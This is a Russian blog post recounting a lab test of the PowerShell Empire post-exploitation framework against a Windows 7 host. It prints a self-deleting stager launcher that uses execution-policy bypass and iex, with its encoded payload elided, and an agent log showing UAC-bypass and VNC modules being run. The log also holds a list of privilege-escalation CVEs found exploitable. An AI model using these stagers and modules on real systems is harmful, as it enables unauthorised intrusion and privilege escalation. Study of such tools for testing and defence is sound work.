Главная

Tuesday, 9 November 2021

Про PowerShell Empire Framework.

Всем привет.

Наша жизнь невозможна без фреймворков. Фреймворки помогают создавать код, помагают выполнять код, и помогают код исследовать. Сегодня говорим про иcследование кода.

Мы любим PowerShell, но когда на нем еще и создан фреймворк, то мы любим его вдвойне. PowerShell Empire Framework - это фреймворк для пост эксплуатации windows(и не только!) систем, написанный полностью на PowerShell (серверная часть на Python, а клиентская на PowerShell, поэтому легко поднять серверную часть на том же Kali Linux, что я и сделал) который имеет в себе огромный функционал. Как вы заметили что помимо того, что он используется для постэксплуатации (повышение привилегий и закрепленния в системе) он активно используется и для активного фишинга, обхода антивируса и эксплуатации уязвимостей и одна из главных фишок - отлично используется для атак на AD (PowerView). 

Тут и далее я бы начал рассказывать вам про инсталяцию PowerShell Empire Framework, про листенеры, стейджеры и агенты, про огромный список модулей постэксплуатации на все случаи жизни, про все то что красиво описано во многих других местах сети, но... не буду. Смотрите сюда, и повторяйте шаг за шагом. Если вам это интересно. Алгоритм работы очень похож на работу с Metasploit в том же Kali Linux. Кто из них лучше? По моему оба хороши.

По своему первому тесту PowerShell Empire Framework могу сказать что код агента по умолчанию направлен на разовое исполнение с последующим удалением себя на жертве как файла. Полезная нагрузка агента (payload) обфусфицирована в base64.

Пример:

#2>NUL & @CLS & PUSHD "%~dp0" 

& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" 

& DEL "%~f0" & POPD /B powershell -noP -sta -w 1 -enc ..., тут далее следует код нагрузки.

На что следует обратить внимание - генерируемый код stagers в виде файла Powershell Empire теперь ложит в папку kali\Empire\empire\client\generated-stagers или в зависиммости от места самой инсталяции Powershell Empire в /usr/share/powershell-empire/empire/client/generated-stagers.


При этом Empire все равно что мы там указали предварительно в параметр Outfile.

Также полезно помнить что Powershell Empire вывод агента пишет в журнал который можно найти здесь:

kali\Empire\empire\server\downloads\<AgentName>\agent.log

Для каждого агента своя папка. Вот для моего агента ABX2G8DY была такая:

kali\Empire\empire\server\downloads\ABX2G8DY\agent.log

Вот и сам журнал:

2021-11-04 09:47:34 : 

[*] Agent info:

  ID              2

  session_id      ABX2G8DY

  listener        Win7

  name            ABX2G8DY

  language        powershell

  language_version 2

  delay            5

  jitter          0.0

  external_ip      192.168.1.10

  internal_ip      192.168.1.10

  username        PC01\admin

  high_integrity  0

  process_name    powershell

  process_id      3456

  hostname        PC01

  os_details      Microsoft Windows 7 Корпоративная

  session_key      EvtAqowZ8[X*he!NC@HuIDP:`<|%Li6Q

  nonce            9357283709598940

  checkin_time    2021-11-04 13:47:33+00:00

  lastseen_time    2021-11-04 13:47:34+00:00

  parent          None

  children        None

  servers          None

  profile          /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT

  kill_date       

  working_hours   

  lost_limit      60


[+] Agent ABX2G8DY now active:

2021-11-04 10:11:36 : 

tasked agent ABX2G8DY to run module Invoke-BypassUAC

2021-11-04 10:11:41 : 

Job started: A6K3Z8

2021-11-04 10:25:35 : 

tasked agent ABX2G8DY to run module Invoke-Vnc

2021-11-04 10:41:50 : 

Job started: YRC2ZN

2021-11-04 10:49:59 : 

tasked agent ABX2G8DY to run module Sherlock

2021-11-04 10:49:59 : 

Job started: 6F8PKG

2021-11-04 10:50:04 : 

Title      : User Mode to Ring (KiTrap0D)

MSBulletin : MS10-015

CVEID      : 2010-0232

Link       : https://www.exploit-db.com/exploits/11199/

VulnStatus : Appears Vulnerable

Title      : Task Scheduler .XML

MSBulletin : MS10-092

CVEID      : 2010-3338, 2010-3888

Link       : https://www.exploit-db.com/exploits/19930/

VulnStatus : Appears Vulnerable

Title      : NTUserMessageCall Win32k Kernel Pool Overflow

MSBulletin : MS13-053

CVEID      : 2013-1300

Link       : https://www.exploit-db.com/exploits/33213/

VulnStatus : Not Vulnerable

Title      : TrackPopupMenuEx Win32k NULL Page

MSBulletin : MS13-081

CVEID      : 2013-3881

Link       : https://www.exploit-db.com/exploits/31576/

VulnStatus : Not Vulnerable

Title      : TrackPopupMenu Win32k Null Pointer Dereference

MSBulletin : MS14-058

CVEID      : 2014-4113

Link       : https://www.exploit-db.com/exploits/35101/

VulnStatus : Not Vulnerable

Title      : ClientCopyImage Win32k

MSBulletin : MS15-051

CVEID      : 2015-1701, 2015-2433

Link       : https://www.exploit-db.com/exploits/37367/

VulnStatus : Appears Vulnerable

Title      : Font Driver Buffer Overflow

MSBulletin : MS15-078

CVEID      : 2015-2426, 2015-2433

Link       : https://www.exploit-db.com/exploits/38222/

VulnStatus : Not Vulnerable

Title      : 'mrxdav.sys' WebDAV

MSBulletin : MS16-016

CVEID      : 2016-0051

Link       : https://www.exploit-db.com/exploits/40085/

VulnStatus : Not Vulnerable

Title      : Secondary Logon Handle

MSBulletin : MS16-032

CVEID      : 2016-0099

Link       : https://www.exploit-db.com/exploits/39719/

VulnStatus : Not Vulnerable

Title      : Win32k Elevation of Privilege

MSBulletin : MS16-135

CVEID      : 2016-7255

Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135

VulnStatus : Not Vulnerable

Title      : Nessus Agent 6.6.2 - 6.10.3

MSBulletin : N/A

CVEID      : 2017-7199

Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html

VulnStatus : Not Vulnerable


Из ошибок, скорее по моей неопытности, могу заметить следующее. Используя модули Disable_rdp или Enable_rdp где выполнив команду "execute" получил такую ошибку: 

[!]Error: module needs to run in an elevated context.

По решению этого отпишусь позже.

Также выполнение некоторых команд с активным агентом приводит к ошибке исполнения командлета ConvertFrom-Json. Полагааю что это следствие того что агент пытается вернуть ответ с ОС с кириллической локализацией.

Вот в принципе и все. Пробуйте!

No comments:

Post a Comment

А что вы думаете по этому поводу?